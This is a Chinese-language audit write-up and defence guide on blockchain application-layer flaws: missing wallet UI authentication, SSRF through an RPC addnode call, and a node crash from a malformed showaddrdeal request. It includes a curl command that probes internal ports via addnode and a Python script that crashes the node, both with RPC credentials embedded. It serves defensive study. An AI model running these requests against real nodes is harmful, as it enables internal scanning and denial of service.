公链应用层漏洞分析与防御指南

文章前言

随着区块链技术的快速发展和广泛应用，公链上的应用程序数量激增。与传统应用程序类似，公链应用层也面临各种安全问题和漏洞。公链应用层漏洞是指在公链上开发的应用程序中存在的安全漏洞和弱点，可能导致恶意攻击者盗取用户资金、篡改数据或执行恶意合约等攻击行为。

一、WEB UI访问控制漏洞

基本介绍

公链前端Web UI是用户与公链应用程序交互的重要界面，通常以网页形式呈现，主要功能包括：

1. 用户账户管理：创建、导入和管理账户，生成公私钥对，设置密码，备份和恢复账户
2. 资产操作：查看余额和交易历史，执行数字货币转账
3. 智能合约交互：调用合约方法，查看合约状态，执行合约交易
4. 区块链浏览：查看交易详情，浏览区块和区块链状态
5. 安全功能：用户身份验证，密码加密，双重身份验证等

漏洞案例

在某公链审计中发现以下严重漏洞：

1. 认证逻辑缺陷：未认证用户点击功能模块时，系统先跳转到功能页面，后判断认证状态
2. 接口访问控制缺失：攻击者可通过BurpSuite等工具停留在功能页面，直接调用敏感接口

代码分析

wallet.controller.js中存在设计缺陷，页面更新先于认证判断：

// 页面更改监听逻辑
// 问题：页面更新先于认证判断

WalletController类中对钱包操作接口未进行调用者身份认证：

// 钱包操作接口（创建/删除/导入地址账户，获取钱包信息等）
// 缺失认证逻辑

攻击演示

1. 未认证用户点击"wallet"选项，先进入钱包界面后跳转至认证页面
2. 攻击者可查看钱包地址账户信息
3. 可执行删除账号操作（如成功删除account#10账号）
4. 若获取到seed phrase，可在本地web实现转账，绕过认证
5. 可创建新账号并查看新建的地址账户

防御措施

1. 严格实施认证前置原则，先认证后访问
2. 对所有敏感接口实施身份验证
3. 加强会话管理和令牌验证
4. 实施最小权限原则

二、添加节点处的SSRF漏洞

风险说明

当公链允许RPC远程调用且认证薄弱时，攻击者可利用"添加节点"功能进行SSRF攻击：

1. 通过IP和端口组合探测内网服务
2. 利用响应时间差异判断端口开放情况（开放端口秒级响应，未开放端口5秒超时）

漏洞详情

addnode接口未对目标IP地址做限制，导致：

1. 内网端口扫描：探测服务端私有IP的端口开放情况
2. 可能的内部服务攻击

攻击示例

curl --user rubyrpc:BbaEZMi9kbzi9ptK8jNsEKVQUxrQbdVf9ZhUrakoQ8yC \
--data-binary '{"jsonrpc":"2.0","id":"rpcaddnode","method":"addnode","configs":["127.0.0.1:6379","onetry"]}' \
-H 'content-type:text/plain;' http://192.168.11.192:5112

响应：

{"result":null,"error":null,"id":"rpcaddnode"}

节点端开启的端口监听可捕获到请求源，证实漏洞存在。

防御措施

1. 校验目标节点IP地址，禁止本地循环地址
2. 实施严格的RPC调用身份认证
3. 限制可添加的节点IP范围
4. 实施请求频率限制

三、RPC参数畸形请求导致DDOS

基本介绍

公链RPC接口允许外部应用通过网络与公链交互，提供以下功能：

1. 查询和操作公链状态
2. 执行交易
3. 访问智能合约

漏洞详情

showaddrdeal接口存在严重问题：

1. 当传入address为根节点时，导致节点崩溃
2. 当txid不存在、为空或非法时，同样导致节点崩溃
3. 后端缺乏参数合法性校验

攻击示例

Python攻击脚本：

#!/usr/bin/env python3
from gevent import pool, monkey
monkey.patch_all()
import requests

def exp():
    URL = "http://192.168.11.192:5112"
    data = {
        "jsonrpc": "2.0",
        "method": "showaddrdeal",
        "configs": ["18qNoDvvfNgCFa29rNVvvM3ZKi1MpsgSZZQUiJ", ""],
        "id": "rpcshowaddrdeal"
    }
    s = requests.session()
    s.auth = ('xxxrpc','BbaEZMi9kbzi9ptK8jNsEKVQUxrQbdVf9ZhUrakoQ8yC')
    response = s.post(url=URL, json=data)
    print(response.json())

def run():
    p = pool.Pool()
    for i in range(1):
        p.apply_async(exp)
    p.join()

if __name__ == '__main__':
    run()

攻击结果：

1. 节点崩溃
2. 远程RPC无法正常调用，连接被拒绝

修复方法

1. 添加参数空值验证
2. 实施严格的输入校验
3. 添加异常处理机制
4. 实施服务熔断机制

修复后的showaddrdeal新增了参数为空验证：

// 修复代码：新增参数为空验证逻辑

四、其他潜在的公链应用层漏洞

除上述漏洞外，公链应用层还存在多种安全风险：

1. RPC接口其他安全问题：

   • 拒绝服务(DOS)
   • 鉴权错误
   • 未授权访问
   • 信息泄露

2. Geth相关安全问题：

   • 共识机制漏洞
   • 交易池管理问题
   • 区块处理缺陷

3. 安全策略问题：

   • 不完善的密钥管理
   • 薄弱的密码策略
   • 缺乏审计日志

五、综合防御策略

1. 认证与授权：

   • 实施强身份认证
   • 基于角色的访问控制
   • 最小权限原则

2. 输入验证：

   • 所有输入参数严格验证
   • 白名单验证优于黑名单
   • 边界值检查

3. 安全设计：

   • 安全开发生命周期(SDL)
   • 防御性编程
   • 安全默认配置

4. 监控与响应：

   • 实时安全监控
   • 异常行为检测
   • 应急响应机制

5. 审计与测试：

   • 定期安全审计
   • 渗透测试
   • 代码审查

结语

公链应用层安全是区块链生态系统的重要组成部分。通过分析WEB UI访问控制、SSRF和RPC接口畸形请求等实际漏洞案例，我们可以更好地理解公链应用层面临的安全挑战。开发者应重视安全编码实践，实施多层次防御策略，并定期进行安全评估，以确保公链应用的安全性和可靠性。